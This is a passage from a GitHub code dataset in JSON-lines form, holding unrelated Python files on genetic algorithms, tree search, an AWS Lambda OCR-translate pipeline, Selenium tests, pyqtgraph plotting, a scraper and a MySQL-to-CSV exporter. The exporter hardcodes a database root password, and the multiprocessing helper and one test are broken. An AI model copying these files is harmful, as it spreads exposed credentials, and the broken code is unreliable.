\r\n nextChildBoard3 = CrossMutate(ItC.Board, ItCT.Board)\r\n ItC3 = Iteration(nextChildBoard3, 0)\r\n\r\n ItList.append(ItC3)\r\n \r\n nextChildBoard4 = CrossMutate(ItC.Board, ItCT.Board)\r\n ItC4 = Iteration(nextChildBoard4, 0)\r\n\r\n ItList.append(ItC4)\r\n\r\n maxlist =[]\r\n for each in ItList:\r\n maxlist.append(each.scoreBoard())\r\n\r\n It_Max = max(maxlist)\r\n max_index = maxlist.index(It_Max)\r\n\r\n force_mutate = force_mutate + 1\r\n hard_force = hard_force + 1\r\n print(scoreC)\r\n # Take the strongest of the 4 children to cross\r\n if(max_index == 0):\r\n ItCT = Iteration(ItC1.Board, 0)\r\n \r\n if(max_index == 1):\r\n ItCT = Iteration(ItC2.Board, 0)\r\n \r\n if(max_index == 2):\r\n ItCT = Iteration(ItC3.Board, 0)\r\n \r\n if(max_index == 3):\r\n ItCT = Iteration(ItC4.Board, 0) \r\n \r\n # Keep top parent sequence\r\n if(scoreC < It_Max):\r\n scoreC = ItC.scoreBoard()\r\n force_mutate = 0\r\n hard_force = 0\r\n\r\n if(max_index == 0):\r\n ItC = Iteration(ItC1.Board, 0)\r\n \r\n if(max_index == 1):\r\n ItC = Iteration(ItC2.Board, 0)\r\n \r\n if(max_index == 2):\r\n ItC = Iteration(ItC3.Board, 0)\r\n \r\n if(max_index == 3):\r\n ItC = Iteration(ItC4.Board, 0)\r\n else:\r\n pass\r\n\r\n if(force_mutate == 300): # If stalls at local minima for 200 Epochs , a completly mutated child inserted\r\n ItCT = Iteration(Board, 0)\r\n ItCT.plotboard() # New Plot\r\n force_mutate = 0 # Reset\r\n if(hard_force == 600): # If stalls at local minima for 600 Epochs , Chromosome is completly shuffled\r\n ItC = Iteration(Board, 0)\r\n ItC.plotboard() # New Plot\r\n scoreC = ItC.scoreBoard()\r\n force_mutate = 0 # Reset \r\n hard_force = 0 # Reset\r\n display(ItC.Board)\r\n\r\n # Desired output format\r\n form1 = reformat(ItC.Board)\r\n\r\n\r\n\r\n test1 = (str(form1).strip('[]'))\r\n params = test1.replace(',', '')\r\n\r\n print(params)\r\n\r\n # url='https://lf8q0kx152.execute-api.us-east-2.amazonaws.com/default/computeFitnessScore'\r\n # x=requests.post(url,json={\"qconfig\":params,\"userID\":843858,\"githubLink\":\"https://github.com/JaFallonWork/8QueenChallenge\"})\r\n # print(x.text)\r\n\r\n\r\n\r\n\r\nif __name__ == \"__main__\":\r\n main()\r\n\r\n","repo_name":"JaFallonWork/8QueenChallenge","sub_path":"8Queens.py","file_name":"8Queens.py","file_ext":"py","file_size_in_byte":19171,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"76"} +{"seq_id":"461309993","text":"class Tree:\n def __init__(self, data, children = None):\n if children is None:\n children = []\n self.data = data\n self.children = children\n \ndef dfs(root):\n if root is None:\n return\n else:\n print(root.data)\n for children in root.children:\n dfs(children)\n \n# Time complexity: O(n) where n is the number of nodes in the tree\n# because we are just traversing n nodes\n# Space complexity: O(h) where h is the height of the tree \n# the additional space comes from the maximum call stack size","repo_name":"Kamalabot/HowCompetitive","sub_path":"Algos/nTree_DFS.py","file_name":"nTree_DFS.py","file_ext":"py","file_size_in_byte":557,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"76"} +{"seq_id":"3066852136","text":"import json\nimport boto3\nimport base64\nfrom datetime import datetime\n\ns3 = boto3.client('s3')\n\ndef subirAS3(bucket,image):\n now = datetime.now()\n name = now.strftime(\"%d-%m-%Y-%H:%M:%S\")\n \n dec = base64.b64decode(image + \"===\")\n \n s3.put_object(Bucket=bucket, Key=name, Body=dec)\n\n return name\n\ndef detect_text(bucket,name):\n\n client=boto3.client('rekognition')\n response=client.detect_text(Image={'S3Object':{'Bucket':bucket,'Name':name}}) \n textDetections=response['TextDetections']\n \n sentence_array = []\n\n for text in textDetections:\n if text['Confidence'] > 90 and text['Type'] == 'LINE':\n sentence_array.append(text['DetectedText'])\n\n sentence = \"\"\n\n for words in sentence_array:\n sentence += words\n sentence += \"\\n\"\n \n return sentence\n\ndef traducir(texto,idiomaorigen,idiomadestino):\n translate = boto3.client('translate')\n result = translate.translate_text(Text=texto,\n SourceLanguageCode=idiomaorigen,\n TargetLanguageCode=idiomadestino)\n return result[\"TranslatedText\"]\n\ndef lambda_handler(event, context):\n image = event['foto']\n idiomaorigen = event['idiomaorigen']\n idiomadestino = event['idiomadestino']\n bucket = 'helpmepls-max'\n \n texto_resultante = detect_text(bucket,subirAS3(bucket,image))\n result = traducir(texto_resultante,idiomaorigen,idiomadestino)\n return {\n 'statusCode': 200,\n 'body': result\n }","repo_name":"max-florian/HelpMePls","sub_path":"Funciones Lamda/problema2.py","file_name":"problema2.py","file_ext":"py","file_size_in_byte":1539,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"76"} +{"seq_id":"69927239605","text":"'''\nuser_address_page.py 个人中心收货地址\n封装业务层\n\nauthor:llj\n'''\nimport unittest\nimport time\nimport ddt\nfrom ECShop.common.admin_method import open_browser\nfrom ECShop.page.user_address_page import Address\nfrom ECShop.common.operationexcel import OperationExcel\n\noper_excel=OperationExcel(r'E:\\个人练习\\12_自动化项目_llj\\ECShop\\data\\useraddress.xlsx')\ntext_data=oper_excel.get_data_for_dict()\n\nurl = \"http://ecshop.itsoso.cn/user.php?act=address_list\"\n\n@ddt.ddt\nclass UserAddress(unittest.TestCase):\n # 特殊方法\n def setUp(self) -> None:\n '''\n 打开浏览器,打开测试网址\n 登录被测网址进入个人中心,收货地址\n '''\n driver = open_browser()\n self.address = Address(driver)\n self.address.open_url(url)\n time.sleep(1)\n\n def tearDown(self) -> None:\n '''关闭浏览器'''\n\n self.address.close()\n\n '''编写测试用例'''\n\n @ddt.data(*text_data)\n def test_case_1(self, data: dict):\n '''新增收货地址'''\n \"\"\"\n 新增收货地址\n :param data:读取表格内容\n :return:\n \"\"\"\n nu = self.address.count()\n print(f'新增之前地址数量:{nu}')\n if nu<5:\n\n self.address.choice_conutry(data[\"country\"], 'add')\n time.sleep(3)\n self.address.choice_province(data[\"province\"], 'add')\n time.sleep(3)\n self.address.choice_city(data[\"city\"], 'add')\n time.sleep(3)\n self.address.choice_district(data[\"district\"], 'add')\n self.address.input_user(data[\"user\"], 'add')\n self.address.input_mail(data[\"mail\"], 'add')\n self.address.input_address(data[\"address\"], 'add')\n self.address.input_post(data[\"post_nu\"], 'add')\n self.address.input_tel(data[\"tel\"], 'add')\n self.address.input_phone(data[\"phone\"], 'add')\n\n time.sleep(3)\n self.address.click_add()\n time.sleep(3)\n new_nu = self.address.count()\n print(f'新增之后地址数量:{new_nu}')\n # 以时间为图片命名\n now = time.strftime(\"%Y_%m_%d %H_%M_%S\")\n file_path = f\"../image/{now}.jpg\"\n try:\n self.assertEqual(nu + 1, new_nu, msg='操作失败') # 断言\n except AssertionError:\n self.address.screenshot(file_path)\n raise AssertionError\n else:\n print('收货地址添加已达上限')\n\n\n @ddt.data(*text_data)\n def test_case_2(self,data:dict):\n '''修改收货地址'''\n \"\"\"\n 修改收货地址\n :param data:读取表格内容\n :return:\n \"\"\"\n #输入修改内容\n self.address.choice_conutry(data[\"country\"], 'rec')\n time.sleep(3)\n self.address.choice_province(data[\"province\"], 'rec')\n time.sleep(3)\n self.address.choice_city(data[\"city\"], 'rec')\n time.sleep(3)\n self.address.choice_district(data[\"district\"], 'rec')\n self.address.input_user(data[\"user\"], 'rec')\n self.address.input_mail(data[\"mail\"], 'rec')\n self.address.input_address(data[\"address\"],'rec')\n self.address.input_post(data[\"post_nu\"],'rec')\n self.address.input_tel(data[\"tel\"],'rec')\n self.address.input_phone(data[\"phone\"],'rec')\n self.address.click_modify()\n\n #定位修改后的 地址信息\n result_loc = (\"name\", \"address\")\n #修改的地址信息--vlaue值与输入的相同\n result = self.address.is_value_in_element(result_loc,data[\"address\"])\n now = time.strftime(\"%Y_%m_%d %H_%M_%S\")\n file_path = f\"../image/{now}.jpg\"\n try:\n self.assertTrue(result, msg=\"断言失败\")\n except AssertionError:\n self.login.screenshot(file_path)\n raise AssertionError\n\n\n def test_case_3(self):\n '''删除一条地址,并确认'''\n nu = self.address.count()\n print(f'删除之前地址数量:{nu}')\n self.address.click_del()\n time.sleep(3)\n new_nu = self.address.count()\n print(f'删除之后地址数量:{new_nu}')\n # 以时间为图片命名\n now = time.strftime(\"%Y_%m_%d %H_%M_%S\")\n file_path = f\"../image/{now}.jpg\"\n try:\n self.assertEqual(nu-1,new_nu, msg='操作失败') # 断言\n except AssertionError:\n self.address.screenshot(file_path)\n raise AssertionError\n\n def test_case_4(self):\n '''删除一条地址,并取消'''\n nu = self.address.count()\n print(f'删除之前地址数量:{nu}')\n self.address.click_nodel()\n time.sleep(3)\n new_nu = self.address.count()\n print(f'取消删除之后地址数量:{new_nu}')\n # 以时间为图片命名\n now = time.strftime(\"%Y_%m_%d %H_%M_%S\")\n file_path = f\"../image/{now}.jpg\"\n try:\n self.assertEqual(nu,new_nu, msg='操作失败') # 断言\n except AssertionError:\n self.address.screenshot(file_path)\n raise AssertionError\n\nif __name__ == '__main__':\n unittest.main()","repo_name":"admincard/web_ecshop","sub_path":"scripts/test_5_user_address.py","file_name":"test_5_user_address.py","file_ext":"py","file_size_in_byte":5231,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"76"} +{"seq_id":"33539322773","text":"import multiprocessing\nfrom multiprocessing import Process\n\nclass MyProcess(Process):\n def __set__(self, func, args):\n super(MyProcess,self).__init__()\n self.func=func\n self.args=args\n self.res=''\n self.q = q\n # self._daemonic=True\n # self._daemonic=True\n def run(self):\n self.res=self.func(*self.args)\n self.q.put((self.func.__name__,self.res))\n\n def use_multiprocessing(func_list):\n # os.system('export PYTHONOPTIMIZE=1')  # 解决 daemonic processes are not allowed to have children 问题\n q = multiprocessing.Queue() # 队列,将多进程结果存入这里,进程间共享, 多进程必须使用  multiprocessing 的queue\n proc_list = []\n res=[]\n for func in func_list:\n proc = MyProcess(func['func'],args=func['args'],q = q)\n proc.start()\n proc_list.append(proc)\n\n for p in proc_list:\n p.join()\n while not q.empty():\n r = q.get()\n res.append(r)\n return res\n#使用时候,将需要多进程执行的函数和函数的参数当作字段,组成个list 传给use_multiprocessing 方法即可\n\n\n\n","repo_name":"fengyu0712/myclone","sub_path":"python_space/Atest/duoxiancheng/process.py","file_name":"process.py","file_ext":"py","file_size_in_byte":1218,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"76"} +{"seq_id":"16713415811","text":"from django.urls import path\n\n\nfrom main.views import main_page\n\nfrom .views import category_sort, product_detail, less_forms, category_form, form_category, form_model\n\napp_name = 'main'\n\nurlpatterns = [\n path('', main_page, name='main_page'),\n path('/', category_sort, name='category_sort'),\n path('product_detail//', product_detail, name='product_detail'),\n path('less_forms/', less_forms, name='less_forms'),\n path('category_form/', category_form, name='category_form'),\n # path('form_product/', form_product, name='form_product'),\n path('form_category/', form_category, name='form_category'),\n path('form_model/', form_model, name='form_model'),\n # path('form_shop/', form_shop, name='form_shop'),\n]\n","repo_name":"giventhechance/market_30","sub_path":"market_30/main/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":747,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"76"} +{"seq_id":"35587921858","text":"from PyQt5 import QtGui # (the example applies equally well to PySide)\nimport pyqtgraph as pg\nimport pandas as pd\nimport pyqtgraph.opengl as gl\nimport numpy as np\n\n## Always start by initializing Qt (only once per application)\napp = QtGui.QApplication([])\n\n\nprepath = '/Volumes/Virtual/FastTmp/'\npath = 'Target'\n\ndf = pd.read_excel(prepath + 'XiaYing-SiO2-FeMg.xlsx')\n# m = ['Width', 'Style', 'Alpha', 'Size', 'Color', 'Marker', 'Author']\n# for i in m:\n# df = df.drop(i, 1)\ndf.set_index('Label', inplace=True)\n\nitems=df.columns.values\ny = df.index.values\n\n\nnumpyMatrix = df.as_matrix()\n\nnewdf = pd.concat([df.SiO2 ,df.Ratio, df.CaO], axis=1)\n\nX= newdf.as_matrix()\n\npos = newdf.as_matrix()\n\nxmin= min(df.SiO2)\nxmax= max(df.SiO2)\n\n\nymin= min(df.Ratio)\nymax= max(df.Ratio)\n\nzmin= min(df.CaO)\nzmax= max(df.CaO)\n\n\nxmean=np.mean(df.SiO2)\nymean=np.mean(df.Ratio)\nzmean=np.mean(df.CaO)\n\n\nThreeDimView = gl.GLScatterPlotItem(pos=pos, color=(100, 255, 255, 88), size=0.1,pxMode=False)\n\nx= df.SiO2.values\ny= df.Ratio.values\nz= df.CaO.values\n\nx= [min(df.SiO2),max(df.SiO2)]\n\ny= [min(df.Ratio),max(df.Ratio)]\n\nz= [min(df.CaO),max(df.CaO)]\n\npts = np.vstack([x,y,z]).transpose()\n\n\nline = gl.GLLinePlotItem(pos=pts, color=(100, 255, 255, 88), width=1, antialias=True)\n\n\nw = gl.GLViewWidget()\n\nw.pan(xmean,ymean,zmean)\n\nw.show()\nw.setWindowTitle('pyqtgraph example: GLScatterPlotItem')\n\n\n## create three grids, add each to the view\nxgrid = gl.GLGridItem()\nygrid = gl.GLGridItem()\nzgrid = gl.GLGridItem()\nw.addItem(xgrid)\nw.addItem(ygrid)\nw.addItem(zgrid)\n\n## rotate x and y grids to face the correct direction\nxgrid.rotate(90, 0, 1, 0)\nygrid.rotate(90, 1, 0, 0)\n\n## scale each grid differently\nxgrid.scale(12.8, 12.8, 12.8)\nygrid.scale(12.8, 12.8, 12.8)\nzgrid.scale(12.8, 12.8, 12.8)\n\n#xgrid.setTransform(xmean,ymean,zmean)\n\n\nw.addItem(line)\n\nw.addItem(ThreeDimView)\n\n\n\n## Display the widget as a new window\nw.show()\n\n## Start the Qt event loop\napp.exec_()","repo_name":"GeoPyTool/GeoPyTool","sub_path":"Experimental/pyqgtraph3d.py","file_name":"pyqgtraph3d.py","file_ext":"py","file_size_in_byte":1943,"program_lang":"python","lang":"en","doc_type":"code","stars":215,"dataset":"github-code","pt":"76"} +{"seq_id":"3866718162","text":"#!/usr/bin/env python2\n\"\"\"Main entry point for tasker\n\nUsage:\n `./tasker.py https://intranet.hbtn.io/projects/231`\n\"\"\"\nfrom scrapers import *\n\n\ndef get_args():\n \"\"\"Method that grabs argv\n\n Returns:\n link (str): argv[1]\n \"\"\"\n arg = sys.argv[1:]\n count = len(arg)\n\n if count > 1:\n print('\\033[91m[X] Pusher:\\033[0m Too many arguments(must be one)')\n sys.exit()\n elif count == 0:\n print('\\033[34m[?] Usage:\\033[0m tasker ')\n sys.exit()\n\n link = sys.argv[1]\n return link\n\n\ndef tasker():\n \"\"\"Entry point for tasker\n\n Scrapes for specific text to create a .tasks automatically.\n \"\"\"\n\n url = get_args()\n\n print(\n \"\\n\\033[34m<<<\\033[0m \\033[4mPusher version 1.1\\033[0m\\033[34m >>>\\033[0m\\n\")\n print(\"Getting intranet data for tasks...\\n\")\n parse_data = BaseParse(url)\n\n sys.stdout.write(\" -> Scraping information... \")\n # Creating scraping object\n r_scraper = ReadScraper(parse_data.soup)\n\n print(\"done\")\n\n # Writing to .tasks with scraped data\n r_scraper.open_tasks()\n r_scraper.write_symple_tasks()\n os.system(\"echo '\\n.tasks\\n' >> .gitignore\")\n\n print(\n \"\\n\\033[92mSuccessfully completed tasks and stored in the .task file!\\n\")\n\n\nif __name__ == \"__main__\":\n tasker()\n","repo_name":"sagudelo1200/pusher","sub_path":"tasker.py","file_name":"tasker.py","file_ext":"py","file_size_in_byte":1315,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"75"} +{"seq_id":"41233820349","text":"import RPi.GPIO as GPIO\nfrom time import sleep\nimport pygame\nfrom random import randint\n\n#initalize pygame library\npygame.init()\n\n#set the GPIO pin numers (L to R)\nleds = [6, 13, 19, 21]\n#switches left to right\nswitches = [26, 12, 16, 20]\n#sounds left to right\nsounds = [pygame.mixer.Sound(\"one.wav\"), pygame.mixer.Sound(\"two.wav\"), pygame.mixer.Sound(\"three.wav\"), pygame.mixer.Sound(\"four.wav\")]\n\n#set up broadcom pin mode\nGPIO.setmode(GPIO.BCM)\n\n#setup input pins\nGPIO.setup(switches, GPIO.IN, pull_up_down=GPIO.PUD_DOWN)\n#setup output pins\nGPIO.setup(leds, GPIO.OUT)\n\ngame = True\npattern = []\nlevel = 0\nwhile game:\n pattern.append(randint(0,3))\n for i in pattern:\n GPIO.output(leds[i], GPIO.HIGH)\n sounds[i].play\n sleep(1)\n GPIO.output(leds[i], GPIO.LOW)\n sleep(0.5)\n #for i in pattern:\n Input = True\n while Input:\n red = GPIO.input(26)\n blue = GPIO.input(12)\n yellow = GPIO.input(16)\n green = GPIO.input(20)\n \n if red == 0:\n GPIO.output(6, GPIO.HIGH)\n Input = False\n if i != 0:\n game = False\n sleep(1)\n GPIO.output(6, GPIO.LOW)\n if blue == 0:\n GPIO.output(13, GPIO.HIGH)\n Input = False\n if i != 0:\n game = False\n sleep(1)\n GPIO.output(13, GPIO.LOW)\n if yellow == 0:\n GPIO.output(19, GPIO.HIGH)\n Input = False\n if i != 0:\n game = False\n sleep(1)\n GPIO.output(19, GPIO.LOW) \n if green == 0:\n GPIO.output(21, GPIO.HIGH)\n Input = False\n if i != 0:\n game = False\n sleep(1)\n GPIO.output(21, GPIO.LOW)\n sleep(0.5)","repo_name":"dhartline1001/Final-Project","sub_path":"simon test.py","file_name":"simon test.py","file_ext":"py","file_size_in_byte":1965,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"15883900419","text":"import unittest\nimport xml.etree.ElementTree as ET\n\nfrom test.parser.template.graph.test_graph_client import TemplateGraphTestClient\n\n\nclass TemplateGraphTopicTests(TemplateGraphTestClient):\n\n\n def test_topicstar_index_as_attrib_full(self):\n template = ET.fromstring(\"\"\"\n\t\t\t\n\t\t\t\"\"\")\n ast = self.parser.parse_template_expression(template)\n self.assertIsNotNone(ast)\n self.assertEqual(ast.children[0].to_string(), \"TOPICSTAR Index=1\")\n self.assertEqual(ast.resolve(self.test_bot, self.test_clientid), \"*\")\n\n\nif __name__ == '__main__':\n unittest.main()\n","repo_name":"hiitsme123/python","sub_path":"src/test/parser/template/graph/test_topic.py","file_name":"test_topic.py","file_ext":"py","file_size_in_byte":654,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"37336091051","text":"# sql转csv\nimport pymysql\nfrom pprint import pprint\nimport pandas\n\n\nclass Test_myqsl(object):\n # 运行数据库和建立游标对象\n def __init__(self):\n self.list_city = {'北京': '010000', '上海': '020000', '广东': '030000', '深圳': '040000', '成都': '090200'}\n self.list_work = ['Web前端开发', 'Java开发工程师', 'Android开发工程师', '软件测试工程师', 'ios开发工程师', '数据分析师']\n self.file_list = []\n self.connect = pymysql.connect(host=\"127.0.0.1\", port=3306, user=\"root\", password=\"yjx20010304\",\n database=\"51job\",\n charset=\"utf8\", cursorclass=pymysql.cursors.DictCursor)\n # 返回一个cursor对象,也就是游标对象\n self.cursor = self.connect.cursor()\n\n # 关闭数据库和游标对象\n def __del__(self): # 魔术方法在对象实例执行完后执行\n self.connect.close()\n self.cursor.close()\n\n def write(self):\n city_value = list(self.list_city.keys())\n for city in city_value:\n for work in self.list_work:\n city_work = city + work\n self.file_list.append(city_work)\n for mysql in self.file_list:\n # 将数据转化成DataFrame数据格式\n data = pandas.DataFrame(self.read(mysql))\n # 把id设置成行索引\n data_1 = data.set_index(\"company_name\", drop=True)\n file_name = mysql+'.csv'\n # 写入数据\n pandas.DataFrame.to_csv(data_1, file_name, encoding=\"utf_8_sig\")\n print(mysql+\"写入成功\")\n\n def read(self, mysql):\n sql = \"select * from {}\".format(mysql)\n # 读取数据库的所有数据\n data = self.cursor.execute(sql)\n field_2 = self.cursor.fetchall()\n return field_2\n\n\n# 封装\ndef main():\n write = Test_myqsl()\n write.write()\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"yujunxiong20010304/51job-Reptile-data-analysis","sub_path":"sql_to_csv.py","file_name":"sql_to_csv.py","file_ext":"py","file_size_in_byte":1986,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"6576809849","text":"from __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\n\nimport difflib\nimport random\nimport sys\n\nfrom language.nql import nql\nfrom language.nql.dataset import k_hot_array_from_string_list\nimport numpy as np\nimport tensorflow.compat.v1 as tf\nimport Tkinter as tk\n\nflags = tf.flags\nFLAGS = flags.FLAGS\n\nflags.DEFINE_string(\n 'base_dir',\n '',\n 'base directory')\nflags.DEFINE_string(\n 'stem', 'zoo',\n 'file stem \"foo\" for foo_kb.tsv, foo_names.tsv, foo_cats.tsv')\nflags.DEFINE_string('output_file', None, 'base directory for output')\nflags.DEFINE_integer('sample_size', 10, 'number of categories to sample')\nflags.DEFINE_integer('retrieve_top_k', 50,\n 'top-count properties to retrieve with NQL')\nflags.DEFINE_integer('label_top_k', 20,\n 'top-count properties to consider in labeling')\nflags.DEFINE_boolean('show_relation_names', False, 'label relation.property')\n\n\ndef local_flag_settings(as_dict=False):\n module_dict = FLAGS.flags_by_module_dict()\n d = dict((x.name, x.value) for x in module_dict[sys.argv[0]])\n if as_dict:\n return d\n else:\n return dict2string(d)\n\n\ndef dict2string(d):\n return ' '.join([('%s=%r' % pair) for pair in sorted(d.items())])\n\n\ndef load_kg(base_dir, stem):\n context = nql.NeuralQueryContext()\n names = {}\n\n tf.logging.info('loading closures so they can be skipped in the KB')\n # TODO(wcohen): this is a little sloppy since we ignore the relation.\n closures = {}\n\n def load_closures(filename):\n for line in tf.gfile.Open(base_dir + filename):\n parts = line.strip().split('\\t')\n closures['i/' + parts[0]] = ['i/' + p for p in parts[1:]]\n\n load_closures('closed-locations.txt')\n load_closures('closed-categories.txt')\n\n tf.logging.info('loading categories so they can be skipped in the KB')\n all_category_ids = set()\n for line in tf.gfile.Open(base_dir + stem + '_cats.tsv'):\n cat_id, _, _ = line.strip().split('\\t')\n all_category_ids.add('i/' + cat_id)\n\n rels = set()\n props = set()\n ents = set()\n kg_lines = []\n num_cats_skipped = 0\n\n tf.logging.info('reading kg')\n for line in tf.gfile.Open(base_dir + stem + '_kb.tsv'):\n rel, head, tail = line.strip().split('\\t')\n if tail in all_category_ids:\n num_cats_skipped += 1\n else:\n if rel not in rels:\n context.declare_relation(rel, 'ent_t', 'prop_t')\n rels.add(rel)\n ents.add(head)\n # if tail is something like a location of a concept\n # with superconcepts, add all the containing locations\n # or superconcepts\n tails = closures.get(tail, [tail])\n for t in tails:\n props.add(t)\n kg_lines.append('\\t'.join([rel, head, t]) + '\\n')\n tf.logging.info('loaded %d kb lines skipped %d categories-related props' %\n (len(kg_lines), num_cats_skipped))\n\n tf.logging.info('reading names')\n context.declare_relation('prop_name', 'prop_t', 'name_t')\n context.declare_relation('ent_name', 'ent_t', 'name_t')\n context.declare_relation('rel_name', 'rel_t', 'name_t')\n for line in tf.gfile.Open(base_dir + stem + '_names.tsv'):\n _, head, tail = line.strip().split('\\t')\n names[head] = tail\n if head in props:\n kg_lines.append('\\t'.join(['prop_name', head, tail]))\n if head in ents:\n kg_lines.append('\\t'.join(['ent_name', head, tail]))\n if head in rels:\n kg_lines.append('\\t'.join(['rel_name', head, tail]))\n tf.logging.info('loading %d kg lines', len(kg_lines))\n context.load_kg(lines=kg_lines)\n tf.logging.info('loaded')\n context.construct_relation_group('rel_g', 'ent_t', 'prop_t')\n return context, names\n\n\nclass Labeler(object):\n\n def __init__(self, base_dir, stem):\n self.context, self.names = load_kg(base_dir, stem)\n self.any_rel = self.context.all('rel_g')\n self.sess = tf.Session()\n\n def sample_cats(self, k, base_dir, stem):\n cat_lines = []\n for line in tf.gfile.Open(base_dir + stem + '_cats.tsv'):\n cat_lines.append(line)\n sample = {}\n for line in random.sample(cat_lines, k):\n (cat_id, cat_text, cat_member_ids) = line.strip().split('\\t')\n k_hot_vec = k_hot_array_from_string_list(\n self.context, 'ent_t', ['i/' + m for m in cat_member_ids.split('|')])\n k_hot_mat = np.reshape(k_hot_vec, (1, self.context.get_max_id('ent_t')))\n cat_members = self.context.as_nql(k_hot_mat, 'ent_t')\n sample[cat_id] = (cat_text, cat_members)\n return sample\n\n def lexical_sim(self, cat_text, prop_name):\n r1 = difflib.SequenceMatcher(None, cat_text, prop_name).ratio()\n r2 = len(prop_name) / float(len(cat_text))\n # add a little smoothing\n return (r1 + 1.0) / (r2 + 2.0)\n\n def label(self, cat_id, cat_text, cat_members):\n tf.logging.info('building labeler pane for %s %s' % (cat_id, cat_text))\n frequent_prop_ids = cat_members.follow(self.any_rel).eval(\n self.sess, as_top=FLAGS.retrieve_top_k)\n max_count = max([count for (_, count) in frequent_prop_ids])\n max_sim = max([\n self.lexical_sim(cat_text, prop_id)\n for (prop_id, _) in frequent_prop_ids\n ])\n tuples = []\n g = self.context.get_group('rel_g')\n for (prop_id, count) in frequent_prop_ids:\n if prop_id not in self.names:\n # skip this - probably something very general, anyway\n # it is never directly linked\n pass\n else:\n # find the relation(s) connecting prop_id and the cat_members\n if FLAGS.show_relation_names:\n prop = self.context.one(prop_id, 'prop_t')\n connecting_triples = cat_members.follow(\n g.subject_rel, -1) & prop.follow(g.object_rel, -1)\n connecting_rel_dict = connecting_triples.follow(g.relation_rel).eval(\n self.sess)\n rel_names = [self.names.get(r) for r in connecting_rel_dict]\n else:\n rel_names = ['']\n prop_name = self.names.get(prop_id, '***%s***' % prop_id)\n sim_score = self.lexical_sim(cat_text, prop_name) / max_sim\n count_score = float(count) / float(max_count)\n combined_score = 2.0 / (1.0 / sim_score + 1.0 / count_score)\n for rel in rel_names:\n tuples.append((combined_score, count, sim_score,\n rel + '.' + prop_name, prop_id))\n if len(tuples) > FLAGS.label_top_k:\n break\n\n root = tk.Tk()\n root.geometry('1600x1000')\n font = ('Arial Bold', 16)\n root.title('Labeler')\n label = tk.Label(root, text='%s [%s]' % (cat_text, cat_id), font=font)\n label.grid(column=0, row=0)\n states = {}\n\n def add_checkbox(key, text):\n states[key] = tk.BooleanVar()\n states[key].set(False)\n checkbox = tk.Checkbutton(root, text=text, var=states[key], font=font)\n checkbox.grid(sticky='w', column=0, row=len(states))\n\n add_checkbox('_missing', 'Some necessary constraints are missing')\n add_checkbox('_redundant', 'Some checked constraints are redundant')\n add_checkbox('_approximate',\n 'Some checked constraints are close but not perfect')\n add_checkbox('_error', 'Something else is wrong with this example')\n for tup in sorted(tuples, reverse=True):\n add_checkbox(tup[-1], '%f\\t%f\\t%f\\t%s [%s]' % tup)\n root.mainloop()\n return [prop_id for prop_id in states if states[prop_id].get()]\n\n def inspect(self, cat_id, cat_text, cat_members):\n print()\n print('category', cat_id, cat_text)\n freq_props = cat_members.follow(self.any_rel).prop_name().eval(\n self.sess, as_top=20)\n max_count = max([count for (_, count) in freq_props])\n max_sim = max([\n self.lexical_sim(cat_text, prop_name) for (prop_name, _) in freq_props\n ])\n tuples = []\n for (prop_name, count) in freq_props:\n sim_score = self.lexical_sim(cat_text, prop_name) / max_sim\n count_score = float(count) / float(max_count)\n # geometric_mean = 2.0 / (1.0 / sim_score + 1.0 / count_score)\n mean_score = (sim_score + count_score) / 2.0\n tuples.append((mean_score, count_score, sim_score, prop_name))\n for tup in sorted(tuples, reverse=True):\n print(' > %f\\t%f\\t%f\\t%s' % tup)\n\n def inspect1(self, cat_id, cat_text, cat_members):\n print('category', cat_id, cat_text)\n print(' mid> ', cat_members.eval(self.sess))\n print(' m_n> ', cat_members.ent_name().eval(self.sess))\n print(' pid> ', cat_members.follow(self.any_rel).eval(self.sess, as_top=20))\n print(\n ' p_n> ',\n cat_members.follow(self.any_rel).prop_name().eval(self.sess, as_top=20))\n\n\ndef main(unused_args):\n tf.logging.set_verbosity(tf.logging.INFO)\n tf.logging.info('local flags %r' % local_flag_settings)\n labeler = Labeler(FLAGS.base_dir, FLAGS.stem)\n cat_sample = labeler.sample_cats(FLAGS.sample_size, FLAGS.base_dir,\n FLAGS.stem)\n\n if FLAGS.output_file is None:\n output_file = '/tmp/labels_' + FLAGS.stem + '.txt'\n else:\n output_file = FLAGS.output_file\n tf.logging.info('writing labels to %r' % output_file)\n with tf.gfile.Open(output_file, 'a') as out_fp:\n for cat_id in cat_sample:\n (cat_text, cat_members) = cat_sample[cat_id]\n labels = labeler.label(cat_id, cat_text, cat_members)\n out_fp.write('\\t'.join([cat_id] + sorted(labels)) + '\\n')\n\n\nif __name__ == '__main__':\n tf.app.run()\n","repo_name":"progrmanial/Google-AI-Research","sub_path":"property_linking/scripts/preprocessing/labeler.py","file_name":"labeler.py","file_ext":"py","file_size_in_byte":9295,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"75"} +{"seq_id":"35140281713","text":"import torch\nimport torch.nn as nn\nimport torch.nn.functional as F\n\n\nclass FullyAwareAttention(nn.Module):\n def __init__(self, dim):\n super().__init__()\n self.W = nn.Parameter(torch.FloatTensor(dim, dim))\n nn.init.kaiming_normal_(self.W, 0.01)\n\n def forward(self, x, y, values, mask):\n '''\n :param x: batch, l1, dim\n :param y: batch, l2, dim\n :param values: values\n :return:\n '''\n sx = F.relu(torch.matmul(x, self.W))\n sy = F.relu(torch.matmul(y, self.W))\n s = torch.bmm(sx, sy.transpose(1, 2))\n alpha = masked_softmax(s, mask)\n out = torch.bmm(alpha, values)\n return out\n\n\ndef masked_softmax(A, mask, dim=1):\n '''\n :param A: batch, l1, l2\n :param mask: batch, l2\n :param dim:\n :return:\n '''\n 